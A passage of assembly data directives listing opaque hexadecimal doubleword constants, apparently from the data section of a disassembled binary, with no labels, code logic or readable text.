48000873h dd 54DABCCFh, 8B1CCE8h, 0A01874D1h, 11E07B60h, 0CB15958Ah dd 0C45286B1h, 0A94C503h, 80937CCFh, 2C1B4236h, 95EDA0h dd 0D9515C8Bh, 0DC935D04h, 46743424h, 424A1F13h, 30154445h dd 42C468C2h, 0D1CCD900h, 0B0781875h, 0C3C789Eh, 48856C67h dd 4700B3D1h, 0ABF3FB3Bh, 0BAF48Dh, 8B179431h, 7EA41BF2h dd 9FFD9A1Dh, 0CC1328FFh, 9C9BD0A0h, 0DCE041C2h, 98CD81Eh dd 0B288CE91h, 8FFF5483h, 746624D1h, 179FCCE4h, 807C91B8h dd 0CF93A923h, 116F0454h, 0A26878B1h, 15E4C44h, 0E58152C8h dd 8862247Ch, 0B230B292h, 55703076h, 72E10200h, 3DF0E0B4h dd 1D21CF84h, 19DB16A0h, 27C89A9h, 0EC580C58h, 56008C4Ch dd 0A86215F3h, 0BE0EECF2h, 5373173Ch, 0A214E308h, 58203012h dd 647CA500h, 0D02968F5h, 9101EC0Eh, 99EE029Ch, 0B072703Ah dd 0F1111621h, 0CB21813h, 80129214h, 0F7B0D850h, 0E1501A6Eh dd 1FC3DB24h, 23A43B6Eh, 0B1380071h, 0CD4B825h, 6412740Ah dd 1607640Ah, 10BB569Ah, 80245348h, 0BD04679Eh, 1CD7BE35h dd 49F284E0h, 42099CC0h, 0D8E3CDA3h, 0F8EC4858h, 27008C0Ah dd 0C606BDADh, 170E4B85h, 8DE73A9h, 5D922468h, 2EE13CF6h dd 36FF70EFh, 9637C3Ah, 108A3EE3h, 0EBB288h, 5D4ADF07h dd 0E0DE996Eh, 0B0A9163Fh, 0D7CA90BFh, 770425E1h, 0C744F448h dd 5464A105h, 85EAAF53h, 0DA68205Ah, 27090410h, 0D18F4477h dd 184D79F0h, 0A97307A1h, 1BD7694h, 40F22FDDh, 0E4F3FDF8h dd 0A1B02850h, 0E2749401h, 4BD0E704h, 0AB28833h, 7DC43031h dd 0E6E100F6h, 0E9693514h, 45AF2A7h, 0DFFE98C0h, 1437B719h dd 7D12C101h, 0D0D1FF4Ah, 0EB003033h, 435DD498h, 0AD0423F4h dd 383DDCEh, 0F8B948EDh, 0C116FDBAh, 8CF3095Ah, 0D93072A2h dd 71334E2h, 0F3B481E8h, 1C146005h, 1080027Bh, 8033E521h dd 96307BB2h, 0EA1200FCh, 9E50F948h, 8B2706A6h, 56686299h dd 0B035E99Ch, 531D2980h, 0F29FF7E2h, 30342D47h, 12E4AC45h dd 8063B161h, 203D49F8h, 5A6AFE9Ah, 1EF4C031h, 2D2D0464h dd 64A8E71Fh, 0F4026005h, 0DF7313B3h, 7D23003Bh, 0B62EA84Ch dd 88CF4F00h, 7A8568A1h, 0FCEE048Ah, 85463ADFh, 0CB101398h dd 0C419C8B8h, 8050C449h, 8E11013h, 8021A32Dh, 4E389EB8h dd 0C5EEF0h, 2CAC189Fh, 0CA89A8A0h, 3303CC94h, 25223A28h dd 0E048B750h, 2C12D5D2h, 0BC51D15Dh, 4C9BB8B4h, 0C27A438h dd 5C9D4062h, 3A8F7C11h, 8476407Eh, 0AF2EB3F7h, 87403F1Eh dd 4E80C4E4h, 0B0C03994h, 30FE69h, 23E43A2Fh, 6A4698F7h dd 68018AFEh, 0A30CB673h, 9460E3D4h, 66311FFh, 0B1F40422h dd 68AC530Ah, 3B1EFD11h, 8A860BB2h, 87E8909Ch, 88F28848h dd 0F032B700h, 79A0D5D9h, 4924004Ah, 54672265h, 0C8523780h dd 0D24009ECh, 972850FCh, 0C0893431h, 3C022FB1h, 3ED85B58h dd 72C22070h, 0F5001E29h, 68EF3501h, 99F39Dh, 82D3F9C0h dd 26A99745h, 907800B5h, 0D73996A3h, 0B268A358h, 52583050h dd 0AC2B2A00h, 7415D3E8h, 123835DAh, 0B8C0A9B8h, 0D40901B0h dd 5EFCE0C8h, 40800447h, 7435EA64h, 0A6D21D74h, 5F4C873h dd 3A48D60Eh, 25482CEh, 633E0250h, 7018CCA3h, 0C1B5ECA8h dd 0FF25EE7Bh, 0F40C907h, 6A007D08h, 1130C221h, 0B5F83Ch dd 43352DD7h, 0E0EEA34Ch, 0EDC38C00h, 33103ED6h, 70F4A1B6h dd 10618611h, 0D2512h, 0D25FF274h, 1864ADCAh, 0A01FBE7h dd 0F5A83C07h, 532FF0D3h, 775C0034h, 0C96DCE0h, 0F001ECB1h dd 50A4F7D5h, 0B23C122Fh, 72F201D8h, 94C8BC19h, 2EA128CCh dd 0C0C080B0h, 6C6291F4h, 12547682h, 0BFD20347h, 700106A7h dd 0EE3AD756h, 213A5D85h, 861A5A60h, 6FCA9981h, 782A5840h dd 0E43A0050h, 92C10025h, 56575E9Ch, 0D82823CFh, 6406648Ah dd 41282572h, 386FB089h, 0A84029Ch, 0BC3F0CE0h, 0D84F0F78h dd 211363h, 406E22B7h, 4A715A28h, 2A00C8C3h, 2C52BE8Dh dd 7EF3FC88h, 0D7D41268h, 5370B020h, 25F6B088h, 94003689h dd 0FD82FE94h, 7501549Eh, 0D32FC60h, 0CA44442Fh, 1A07446Fh dd 0D2A83F41h, 133C7C28h, 6C21988Ah, 0FD33DFEh, 35730C69h dd 0B6081213h, 9867E06Ch, 0F67A04ADh, 0A45EBEB1h, 9A5618ECh dd 41F616C4h, 8CFE8C91h, 233C3B6Fh, 0EAB5004Fh, 0D6790C92h dd 0C3B72E03h, 0F566C66Bh, 0F8627CE8h, 745E0EE8h, 8C50684Ch dd 0D3DCBA05h, 6CCE9BDDh dd 0DCB29C00h, 492D6583h, 347C3F02h, 0D9337895h, 18767914h dd 0CDC13FAAh, 30826EBBh, 0B73F8061h, 0AC804074h, 62479A94h dd 0D32F00CEh, 0EC4C225Ah, 0D5698344h, 7828F349h, 0AA0216FFh dd 0ADF0ED1Ch, 60523Eh, 0F6877F70h, 192F7AD0h, 0AFB8303Eh dd 13542407h, 6BCB4ECh, 0C529028Ch, 0E732EF82h, 2B002066h dd 703FC36Ah, 24B65101h, 1EE8BAC5h, 941460F2h, 5EBF6B08h dd 8C147402h, 7B584A97h, 322F70C4h, 826DCA3Bh, 0BF12A829h dd 7B40E241h, 1495A58Ch, 15801691h, 0D6E1A668h, 5B36C8EFh dd 8E024502h, 0CA12A194h, 0CA0C244h, 97147858h, 44A7A095h dd 9A879A4h, 0DFD25876h, 0ADB4E898h, 6920E500h, 39BE1DF6h dd 7540E31h, 2D407A87h, 18C14785h, 0E88C9B5Ah, 0F29F09C7h dd 40E40A7Ch, 2F3FC245h, 512384h, 67DEBA60h, 5C0F08CAh dd 596E9196h, 2992EFF8h, 1B8B257h, 2EC6F6BFh, 202FA1B5h dd 358B0690h, 3882564Ah, 5E345636h, 0A3007546h, 85968704h dd 0A6122A8Fh, 0D0BCA0F2h, 78748D4Bh, 25E72210h, 84ECAC18h dd 48201E6Eh, 0B194021Bh, 0CC7285B2h, 0A2F5220h, 16DD241Ch dd 0BD38B8ECh, 4C872904h, 0B88CA9FFh, 188A05FDh, 3A0EA342h dd 3762380h, 71AE6930h, 168D0280h, 2FDC009Dh, 800B78D2h dd 1A5EBEFFh, 53C8A8CBh, 0EAA3EDC0h, 26CF00A1h, 0F3ECC8B5h dd 160177D3h, 23D685A7h, 487574DBh, 78A28C23h, 170FC30h dd 6841B03Ah, 7E5E9194h, 10E88004h, 0B6D74CB8h, 0C1B1E008h dd 2F750463h, 0AB22D8DAh, 1A00E87Ah, 782141DAh, 37804FAEh dd 0B47BF697h, 71465ECCh, 0D0CAFE07h, 381B8008h, 0C7002E31h dd 0EFD1B3E5h, 1FD629F3h, 5F620353h, 0F2A705B2h, 0A198F084h dd 7BB99E58h, 7225A4B0h, 0B6C8EE85h, 11465ED0h, 9F4B1D0Bh dd 178BD889h, 13B6D802h, 0CDECAB55h, 0A6760CCh, 0F9089DA1h dd 0BF09138h, 0C4846D81h, 5058A8A3h, 3A627A01h, 0C41EE070h dd 26418F4h, 9F18711Ch, 5E0B8C99h, 18885AD4h, 4987A994h dd 0A230DC66h, 8A99192Eh, 0D68CAA65h, 446747Ch, 79864900h dd 0D4AE90F3h, 0A3061109h, 9DDC78B5h, 0D60274B7h, 7427B94Ch dd 0BE3283FCh, 0BFD01E50h, 680162A1h, 60786365h, 9AF459D7h dd 705E69A5h, 23C1C802h, 0DCA456h, 0F80B903Dh, 0CDDD7B6h dd 0F012472Ah, 780040B1h, 72404339h, 0C036DE5Bh, 0CE204471h dd 9CB8F1EDh, 71666044h, 19CF038Eh, 371CD80Ah, 80D628AAh dd 84466740h, 0ACC41CBAh, 0BDD800AEh, 1E69A2A5h, 0E9E1341Eh dd 86C0481Eh, 71FA56D6h, 8912FBEh, 5D60A4EDh, 0BD26484h dd 0CBEA73C9h, 7CC45CC7h, 786F2260h, 7600AD70h, 271A90EAh dd 5B442h, 986637C1h, 93D0F520h, 3A05F4E0h, 47A9BF6Dh dd 52F2FCA2h, 31CBA833h, 2FD90064h, 4A35E854h, 79557308h dd 342FF8h, 78880CCEh, 0E8F232C0h, 0B0A4E047h, 6F8E20D0h dd 76B2872Ch, 37097E1Dh, 0A8CCC0D4h, 152C20F2h, 31931A09h dd 0D91C5961h, 5CDB180Ah, 0C8043C56h, 0B04B3C9Eh, 80BE2044h dd 8BFCC525h, 1C90E024h, 0FD12A69Fh, 0A5DCD7h, 5ADB2088h dd 4674E0A4h, 16F61C7Ch, 3C7A0C47h, 0E0813652h, 27F1B6A3h dd 38E05349h, 0EE03A8CAh, 4B5073B2h, 3EFBA0h, 339DB4A1h dd 4F86D9C1h, 390E1B3Eh, 161E80C3h, 9B2F1027h, 74309870h dd 0D71C38A3h, 0F2DCC8CBh, 8366CE00h, 70BB1F0Eh, 3F5E011Eh dd 45DAEF6Fh, 0D0FBED7Dh, 0A05A477Eh, 407C60C0h, 294F6376h dd 2040FAF7h, 8EE34718h, 935B2F49h, 570F48A3h, 650AE006h dd 530281A8h, 0C59C3A9Ah, 0FA367088h, 77985503h, 0C89E41BEh dd 25A0328Eh, 0CCD8B4F2h, 9A227E7Ah, 0FC5609EAh, 18803B02h dd 0BAD4B04Eh, 8BB19C13h, 40F0BC53h, 14678A94h, 0C7601344h dd 0FB02A83Ch, 0C47EA9ECh, 0E9445454h, 7611B097h, 72629780h dd 0FE1DC589h, 0BA456BB9h, 0F21273A7h, 0F70610B0h, 382C76FDh dd 71C7EA18h, 554B688Ah, 2B2B74DDh, 523D4h, 6613CF4Bh dd 0D8007545h, 8CBC2AD6h, 0B45037E0h, 0A9B940DCh, 4701AE4Dh dd 0A82F32DEh, 33EDEE21h, 3460B371h, 8D452718h, 52919417h dd 808F2585h, 0EF171AEFh, 37D39412h, 606394A3h, 120AAC16h dd 800FED68h, 79E07889h, 0B4410284h, 0D0E1ABD1h, 645EE652h dd 41C858EBh, 44132E84h, 8EB0D4A7h, 0BA35A196h, 94AD6889h dd 6A828D0h, 0CA2C008Ch, 31F4E22Bh, 2A02D5FDh, 3DD7DB0Dh dd 0EE6CED24h, 407B2687h, 6C64CF33h, 76CE9601h, 0FB2A68A1h dd 93C322Fh, 8018355Dh, 26D4F53Ch, 4900DB51h, 0D36B9E71h dd 0B52EE784h, 43B8884h, 0B8B59C96h, 81DCDB2Fh, 5F89A264h dd 1809887Ch, 0A45B0FACh, 0D435AFh, 22C1D1EFh, 7E07B77Ah dd 0BCEC6F62h, 0FC55B501h, 0B27C742Fh, 3019B2C0h, 7D00954Dh dd 0A5137815h, 0B3468F1h, 0CEEECA09h, 2637283h, 0B94175F0h dd 3E397EF6h, 106F268Dh, 0C52E4787h, 144B7720h, 0C0410009h dd 0E875D6B4h, 80AC64EAh, 0B011A833h, 0D4BDFCD9h, 0C5762DE8h dd 24081A0Fh, 5FA0C0ECh, 276AFE40h, 50114B89h, 7879D241h dd 8B1810D9h, 6D9B0E01h, 5FE19308h, 648D5882h, 3F201605h dd 8A88CFh, 0AE8ED8EEh, 0A186FE44h, 0CD789417h, 7BC84CCBh dd 69214DC0h, 0F4120074h, 685DBDE1h, 614FE59Ah, 85A8E451h dd 10E5D924h, 47D5A888h, 0ECCA7401h, 78731022h, 2A3074B2h dd 0D96D124Ch, 0CD088463h, 1D688820h, 0D88424Ah, 3C64A100h dd 0CAC4A38Dh, 13300E5Ah, 4D11EFDh, 702E4F9Ah, 4AA21694h dd 0DB3E5CB4h, 0D4DD58C1h, 447E2AEDh, 95EBE48h, 619C71B6h dd 8083E124h, 7495AFC1h, 9FA82894h, 32365C41h, 300BF274h dd 5A009418h, 4080FFF9h, 1A685D9h, 0E3D616A7h, 42AC15B2h dd 705CE2F4h, 70AC7B49h, 81B75035h, 0C1569488h, 0AB29063h dd 212A30h, 0C640FCF6h, 4813B759h, 0D4F0B872h, 94E0E04Ah dd 81448B6h, 0EFDAA205h, 28E8063Eh, 0E200491Bh, 0BBAD204Ch dd 458A7Dh, 0D2CC7A11h, 241C9DBAh, 81E9E712h, 90236CE1h dd 75304AA2h, 2014B8A2h, 0CF02479Dh, 6A24D6BCh, 279C50DEh dd 147104D2h, 4147860Ch, 28420080h, 3C9FC18Eh, 8F01ED03h dd 71FBFAD2h, 908646D8h, 6030A841h, 0FC12814Ah, 0F64E40B7h dd 0B239A14Ch, 8942ABC5h, 0D0205598h, 19FCD21Eh, 139B0C80h dd 3B71F808h, 192368h, 12E9A066h, 99072E21h, 0D723CF1Ah dd 518A89DCh, 40783C96h, 505EF20h, 5CF29FCAh, 800538ACh dd 4ECF9A18h, 0C500BD98h, 1DA53E9Fh, 3797h, 56AC81FEh dd 990439E5h, 6A3D7308h, 88EAA601h, 0EF788A18h, 0C20050B6h dd 4421F0B3h, 74AF5CBDh, 8F745E09h, 1DDCF47Eh, 80D0E5E4h dd 0A02F49BBh, 5E258F64h, 0F42CE059h, 68B98409h, 78187459h dd 0A1F67B04h, 4AC5F06h, 0B819C812h, 4AF5B240h, 0DC1C7494h dd 0E2FBA200h, 0F7B0F2A7h, 74A89C0Fh, 45077546h, 60E06FDBh dd 15A7CC2Ch, 0A96A8613h, 4AB97088h, 0B294E398h, 61BA307Ch dd 4330700Eh, 0E3860040h, 3CD9046h, 0D7C7068Bh, 0FC90AF8Fh dd 34F89F3h, 961220F6h, 0AD4BD91h, 0F40308BBh, 28E22640h dd 64CE9522h, 0A52EA81Ch, 888B08D3h, 8EC01988h, 10D7D3Ch dd 68F28BE5h, 2453B58Ah, 5055EAF8h, 0F4DB3BB4h, 0F5680780h dd 1B012BEDh, 0DCDE192Eh, 0AD04457Eh, 0BC4F881Ch, 4F916A13h dd 5E02AF68h, 0FC5E0D8Ah, 0FFA77D00h, 4C3ACCB0h, 63229890h dd 0E0A63B00h, 0F4446D36h dd 0BECD0179h, 0C7E2FE9h, 681F2E97h, 0A072D843h, 542E9218h dd 581247FCh, 9F186025h, 86F41364h, 0AE0E4D4h, 9565A080h dd 842028E6h, 0B4274E0Dh, 4200CA2Ch, 5B62E717h, 69B472h dd 1335E632h, 548F02E3h, 0D4F30C25h, 4FD2126Bh, 0DF019094h dd 35B8DAA5h, 3C002B00h, 0E2F83ED6h, 0E27A4ADEh, 5A651078h dd 539EA180h, 9417B4F2h, 5C203E4Dh, 4C1E4CACh, 853CA260h dd 20047450h, 6400168Bh, 40AD5491h, 98217A0h, 7644B841h dd 494E7884h, 1C707A3Fh, 806AF3A9h, 0BF878691h, 2C00BEAAh dd 0EE6B69E3h, 2594BDEFh, 94729075h, 70E53925h, 0A6134490h dd 44968528h, 1512DC10h, 1FC04E26h, 0BAF832C0h, 88224CE0h dd 2515E080h, 10507D9Dh, 13BC4052h, 0F8E130CAh, 406182CCh dd 0BD01755Eh, 0DE248FDAh, 0E99D8AF4h, 7A4A491Eh, 28593029h dd 292AA1BDh, 19137198h, 7A7B1F4h, 0E20FBF70h, 0AA0934F8h dd 0B64AF86Fh, 0D62414ACh, 72C69FE4h, 251846D5h, 44E2EBB6h dd 465E1456h, 90FD134Ah, 488D7004h, 1B36A002h, 44B777h dd 0ACB7BC82h, 1001A4C8h, 2461E2CBh, 202F3AF4h, 582FB228h dd 0D34A7703h, 0C869053Dh, 1A7B063h, 9E421B0Eh, 2AF2ED28h dd 0A07970D9h, 9F026DA8h, 0DD244758h, 42885E83h, 0B571C09h dd 61846DE4h, 203C8F1Ch, 9257BB0h, 0AE40CD7Ch, 10465684h dd 0E70DC204h, 3130F856h, 7EFC08B4h, 0BC28132Eh, 8C11EC70h dd 0B5854800h, 0A7DC32D7h, 0B404E6CAh, 95F83B24h, 30F9C0C2h dd 9E187BD9h, 94D3Bh, 0FCEC4445h, 1D8FF5Bh, 0DE0686FDh dd 0A47E4FA7h, 70256809h, 10DD6178h, 0E8FCABB7h, 57099F15h dd 5CF80A24h, 10E5599Ch, 2275708Ah, 60BE7FEFh, 2D1012DCh dd 800C0856h, 0A19B1781h, 3034CAE2h, 279A30FCh, 0DDFF4C80h dd 9D30418h, 921BB610h, 75720008h, 0A624DC44h, 0D40A3E6Eh dd 0D0362033h, 410465Eh, 0A7185FB2h, 504427FAh, 0AFF2CF47h dd 0E2993400h, 507A6053h, 4010038Fh, 20515E26h, 0F427FEECh dd 772235A0h, 6B71008Eh, 3ED22450h, 0E10E5AECh, 8D23FB68h dd 6040F184h, 5B185E7Fh, 0ACA03445h, 838813B0h, 5023283Eh dd 1141B400h, 66468ABh, 0E2A5CB31h, 949561B0h, 1AE8245Ch dd 5467C6Ch, 5B4F8600h, 9994715h, 0D27B20B0h, 617E9C81h dd 0D261A1E8h, 14CE8F3Dh, 0ADDE1D23h, 6E7B0491h, 0A996A001h dd 68866B8Eh, 590E27B7h, 47D12F03h, 0E81E8422h, 178F5FE1h dd 40960h, 705A6415h, 225ADC66h, 0FD448800h, 0F9F38E2h dd 2324153h, 823E24h, 1E90E757h, 0BAD103A8h, 2420D79Fh dd 15FF18A0h, 19A46650h, 13941E40h, 92760A91h, 70E967FCh dd 0E74C2635h, 3B4F64A0h, 269E208Ah, 7D0C1090h, 0B9495ADCh dd 0D4670AFFh, 42881CF2h, 0B605666Ah, 2B004AFh, 0D786007Ch dd 0C4A8CD6h, 67FE45C1h, 948019A0h, 9F872778h, 0E60014D1h dd 6A232E20h, 9B283888h, 3F37E089h, 8BD5E0C2h, 0A7A85604h dd 0B2784CF3h, 786E77CEh, 0BF8C1EFEh, 644467B6h, 2304A02h dd 8291A678h, 844EACh, 0B171A790h, 4180AA04h, 82C0B6B4h dd 17C87B2Ah, 0B6560869h, 22E6E040h, 0B6911295h, 0C184BD66h dd 635EA196h, 498742Eh, 66B4684h, 951183Eh, 45ED8B06h dd 74F2B422h, 0C6950C58h, 93CC0468h, 49172042h, 0D66C7C09h dd 0C8166009h, 0AD687165h, 0C2717073h, 4B5AE020h, 0B849D1Ah dd 0C04F8828h, 7E0E2D76h, 32D6B903h, 0B743DF0Dh, 233A1CE4h dd 531A094Ah, 0A884A471h, 80B10CD2h, 1BD42C61h, 0B5627308h dd 13C144EDh, 0A34764C5h, 0A30D2812h, 0E870DEC4h, 724A03E6h dd 0C40095F7h, 86D16D5Fh, 0F09F2105h, 0B2C40841h, 4D233C2Eh dd 0EACCC101h, 0F02223B6h, 1E77DA00h, 0A7F7A801h, 0B744E801h dd 9EF935CDh, 5E2FA9E9h, 9268C580h, 0FE88E0C1h, 1F833E10h dd 14AD1A3Fh, 0E0541083h, 5647913h, 0C094F892h, 0C90E0900h dd 405E4C11h, 0BD902440h, 9BB101D0h, 708E9C5Eh, 49C8B044h dd 259A688Fh, 38CE777Dh, 581510B0h, 68B187h, 0A58B4B48h dd 7B89CC2Ch, 0E9F0295h, 1E2672DCh, 2842FC62h, 7449047h dd 0BBE51D60h, 49D2C26h, 12FF6A17h, 0DE2020E7h, 82B55ED4h dd 5D516C20h, 58456CBAh, 976304C4h, 3A0622E0h, 8DE04103h dd 2F679FB0h, 48973EEEh, 41800C91h, 0E0B517D0h, 0DA989958h dd 389C83C1h, 56978A6Eh, 54D6529Ch, 15EC2481h, 9F236B7h dd 465E9474h, 280F1D0Ah, 5650C725h, 0E4E6085Ah, 0BD4966B0h dd 7B02B4EAh, 6A4D21A3h, 0A037D590h, 21B6053Fh, 1CB8BDDEh dd 0DAF4DC4Eh, 6F9D0973h, 2EE1407Ch, 0E04E23E3h, 13D385Ch dd 4F47B3E6h, 0B822F2A0h, 8C21185Ch, 407C6DAFh, 9144FFE7h dd 0F1AE8B01h, 27897B78h, 0AF00387Dh, 460C70CFh, 0CDE09EE9h dd 1291D601h, 0FF8FD434h, 6B7FB961h, 3D0523B8h, 0E11B380h dd 0BCDA4B38h, 9CB5D605h, 80408C3Eh, 2B1A2F81h, 2E5E2AAh dd 10BE8ED5h, 0BA57CC89h, 60FC4D94h, 819B4353h, 0A4C2C45Bh dd 0AFE85CA7h, 0AEB928B7h, 8A92189Ch, 0E9B57CBCh, 1D87A888h dd 81B1C4F2h, 0FCE00D97h, 0CCC03EBEh, 4B86FF4Fh, 60D4B3ADh dd 916E9408h, 0B618C1B7h, 0DF2E18A0h, 0B55920A6h, 6E3F1858h dd 0AB60B9h, 5BFD1B6Ah, 30E2F0B0h, 78BC0A00h, 0F2E78C47h dd 89BA2DC7h, 5F754D0h, 0D0CC0017h, 4909774h, 6B3E9EA1h dd 0D195A5AEh, 5C922730h, 0EAC46740h, 2E0DC10Fh, 7168C03Ch dd 134F543h, 970A7D82h, 6B784E89h, 0FC09F013h, 2F18F42Dh dd 0F4C11CEDh, 172FDDD3h, 0B24CB330h, 0B785300Bh, 2D023B07h dd 99C0C32Ch, 5BF28994h, 0C988F476h, 83199F12h, 20B8D0BDh dd 50E98B2Fh, 25883BB0h, 0BCFDAB92h, 0F2A70B6Ch, 5EF0E070h dd 84A12C6Ah, 0C81E41C0h, 306F7B0Ch, 0A08E3400h, 6801DE07h dd 0F0FB90AAh, 7A686070h, 0ECEF265Ah, 1E9F02D4h, 94FCA28Ah dd 6008A097h, 4CE5A58Bh, 49604CE4h, 0C805A7B0h, 0A915F423h dd 6F96C4F8h, 0D21277C0h, 34BC4FE4h, 35B9AB80h, 0A800165Ch dd 46C98F9Eh, 11D86Ah, 2D2A9FF8h, 0DDDA3132h, 0CD035327h dd 8351C274h, 0B5279C65h, 6F8F0E58h, 8DC2D89h, 0B037C141h dd 18297CCh, 4A24BFACh, 0D9C6E232h, 48312F63h, 0F1806286h dd 423217BBh, 2001C3EEh, 2F748CEBh, 137B37F9h, 927005C4h dd 2208A20Ah, 0D1284B66h, 0C4221110h, 0CA00C01Bh, 33EEB510h dd 3218AFCDh, 3E6946A2h, 9380F454h, 0D82DDE31h, 98CA0077h dd 0A1267AB4h, 545294F1h, 2CDA928Ch, 38555A80h, 150B29E4h dd 0E1546F13h, 682C8468h, 28C4EECh, 94430D0Ah, 7474C27Dh dd 0D43874E9h, 0DA2DC204h, 0CC1012C0h, 4E492510h, 0B19DDC80h dd 59B1CB46h, 56C9F882h, 9CA4E325h, 0A6400618h, 4823DCCAh dd 0DC13A04Bh, 30E13C52h, 839CDB3Ah, 0BA5535h, 0C0FA269Eh dd 864A319h, 82492269h, 965D270h, 9460105Ch, 805DEEB1h dd 4F20041Ch, 7FB1C015h, 8CBBDD64h, 0A6860600h, 0E873A90Dh dd 5D94015Eh, 999AEBECh, 0B7E824FEh, 81421739h, 463F43BCh dd 0F87C2CDAh, 25B6EF08h, 0B5E3A187h, 8B716FD0h, 86E83DFFh dd 11146800h, 9AB216EFh, 4FFC8052h, 7B7768F2h, 0E7B3014Ch dd 3E4F3790h, 9EA03022h, 0DA821C00h, 0C9D2C053h, 2EC9EDA1h dd 0C76EB031h, 0DE85480Ch, 40B80AFCh, 52919609h, 2FB6E041h dd 0C83A1C16h, 22004B23h, 8A64A187h, 0B048B5D9h, 7CEDA506h dd 8C7CE864h, 99D8EC00h dd 90160C08h, 9B4024F2h, 0FBF401ACh, 20A6CF41h, 5C406D40h dd 98F209A8h, 0F8730FEEh, 34EAA604h, 38CF5888h, 125BD2A5h dd 0A200AC2Ch, 5524CA80h, 8E007C37h, 0A50CAC14h, 2CB7BF1Dh dd 56C0F101h, 0E4F59043h, 59F8848h, 0E79DB941h, 0C02CF4B7h dd 1058F604h, 6880D7E9h, 252C34h, 1B8562C3h, 0A093DA45h dd 0B4CF4F2Eh, 0D6EA6800h, 18243D9Eh, 0E9998A66h, 8E09D91Fh dd 73738FBAh, 1525D8h, 3F807891h, 14809C45h, 0D2B6C913h dd 0DD87F8F0h, 2925C69h, 72A5EEBBh, 8A0ED880h, 0E20B7768h dd 40A44A04h, 0E93E894Ch, 0ECD26401h, 395EDFCEh, 77883C8Fh dd 0E0B6C1C3h, 26CE5C63h, 40EC8651h, 879A8490h, 80AD130Fh dd 2AC007Ah, 12A0F6B8h, 0AD6BF581h, 0F0A096D8h, 0BFDD75FAh dd 18FC509Ah, 0E3C200D4h, 8F7B782Bh, 9000089Dh, 0AF7C0F95h dd 0CAE1243Fh, 9C905771h, 99A842B6h, 18E7710Eh, 456052C4h dd 0BE00632Ch, 0D496C551h, 1206881Dh, 8281396Bh, 0D45E3450h dd 1E1D01DCh, 0CEBF6FA0h, 0BCEAF811h, 68D77BFFh, 0B97796F8h dd 0D1738930h, 0E0201698h, 0B0F0CFC4h, 3021BE01h, 1EE8EA26h dd 2F23188Eh, 594CF2A6h, 3C0C69B5h, 501B2711h, 0EDAD15B0h dd 3F164500h, 0BE03D20Fh, 0E326062Bh, 0B9863DFEh, 0A0C67300h dd 0EE8D51A4h, 11940465h, 0B8BAB662h, 8A7E05D8h, 8C0957BDh dd 0C89C93B9h, 2E430DAh, 919540DFh, 1601888Ah, 0C77A2427h dd 89B1C7C4h, 800084F0h, 9E579F47h, 1101940h, 4D945DECh dd 3BDAFCE0h, 0FCE39884h, 66105E3Eh, 0D8C84B11h, 1724019Eh dd 65C1A49h, 40907AA3h, 2DA63FFh, 25D5FCC7h, 0E0686934h dd 97E9641Bh, 84447FE9h, 2C99203Fh, 73F8922Ah, 54708A20h dd 182B9D3Eh, 0F2C1DCDCh, 60009B4h, 2970D9Bh, 55D86A20h dd 4078E0A4h, 46B99D14h, 86358070h, 77E56A10h, 0D013F84Ch dd 28BC0BF6h, 0A99AE848h, 10126C74h, 0ECD03E1Dh, 0C7BD12h dd 88A53F2h, 5A89225Bh, 3902A47Dh, 488D8087h, 0CE0D49Fh dd 0E1D9599Eh, 5BA93C25h, 0F4C52FB4h, 0A1674C64h, 605C4037h dd 0B1C2F0DCh, 472704D8h, 6004C4F8h, 4D3CD43h, 54B6FD6Fh dd 0D013ABD0h, 0C9B890B9h, 0FFD38501h, 3F5DEA40h, 6B00C16Eh dd 90092A25h, 0DC007473h, 0A0F40FEh, 0CE244901h, 64572BB6h dd 42CE2048h, 0F91E6525h, 180CF184h, 6DDD0372h, 5FA71912h dd 68D6119h, 0D40183C0h, 709F6B01h, 39C06C90h, 0E9DDD958h dd 15400D04h, 5D406186h, 6477E436h, 12FD9004h, 3CA89BF6h dd 0BD708C20h, 9262C112h, 7A8CCADh, 2CE8008Ch, 18AD2D26h dd 669514B4h, 406894C8h, 47ACD452h, 0B2701400h, 942F895Bh dd 0BCEF4801h, 4F5110h, 953DDFCFh, 0CE405816h, 1E96E008h dd 8F1932F3h, 465E2454h, 274B7173h, 85008C5Eh, 8724449Dh dd 0A7B00086h, 3E03F451h, 0B65F963Dh, 3E238F6h, 8B188477h dd 88D8B212h, 0D4F0A756h, 6C743109h, 25DC714Ch, 14789853h dd 8F2E0994h, 0C856FE93h, 6273D660h, 0A89716A4h, 8888CD7Dh dd 0B228391h, 305C9D1Bh, 545A0DE2h, 16467680h, 9481C600h dd 0BCD23734h, 592DDDE0h, 425471C8h, 0C5091A78h, 6013E4CCh dd 3089F698h, 0B7B885BEh, 0A5E99B08h, 171C6061h, 12EA4BB2h dd 7810B15Ch, 8C13BC08h, 835AFA00h, 302402D8h, 4CF158E7h dd 0ED8A4A02h, 0C8A3893Dh, 0EAC07671h, 0C839A6FFh, 0B25C8227h dd 0D73F1B13h, 55D08822h, 0AC3C8209h, 44F92B08h, 6048CDA7h dd 0B425A12Ah, 351C5BFEh, 0B87930D2h, 74606B44h, 0E2681200h dd 0B196092Ch, 2F3CFC2Ah, 4E13AC98h, 0E5CD4C1Ch, 542FC9C0h dd 19F6129h, 15FB4DDCh, 2C91238Ah, 849B4B80h, 0C6FACE80h dd 0FB007814h, 0F423A833h, 98F6919h, 94CF156h, 8090B755h dd 0BFE32A0Ah, 411C5F0Fh, 102764C0h, 4102A98Ch, 88826E6Ah dd 6C645567h, 0F08F2F03h, 0F8D9EF91h, 0B05F2D27h, 7C770162h dd 4FAE7548h, 0B48D6AD1h, 0F4D7DC68h, 0DF023C20h, 4DE34F2h dd 950450E3h, 4D97E846h, 0FE0FC08Ch, 0E8258AB3h, 4870C4DDh dd 596E5B16h, 450028Bh, 0DC2094h, 0D0E947C5h, 921E9F2Eh dd 2009DE4Fh, 2D8C71B6h, 4A786C5Bh, 0F47E1D62h, 1816A0FEh dd 10E25A9Fh, 0B070D109h, 73A7B873h, 5CF150F4h, 5DC26800h dd 779E330Dh, 0D4E01484h, 0A65E984Fh, 7700F794h, 36228F8h dd 33CB6590h, 0C1AE8638h, 8873C300h, 0F3DD2707h, 19E02C6h dd 9BD7DAE3h, 0D660D45Ch, 6B404Ah, 1C969E78h, 72C8D264h dd 0D5443A9Dh, 0AD0070B5h, 8F1A0943h, 0B18D0455h, 0C0FEAF48h dd 0E7A6CFB8h, 0EB730627h, 0FAEE488h, 0E22FD38h, 0C08026F7h dd 0F15DFCC9h, 0A019B722h, 0BDBF95Dh, 4869EC35h, 9217C801h dd 0B4243F23h, 6265B481h, 92557402h, 18B757D4h, 1051B100h dd 30968E5Eh, 74891AB7h, 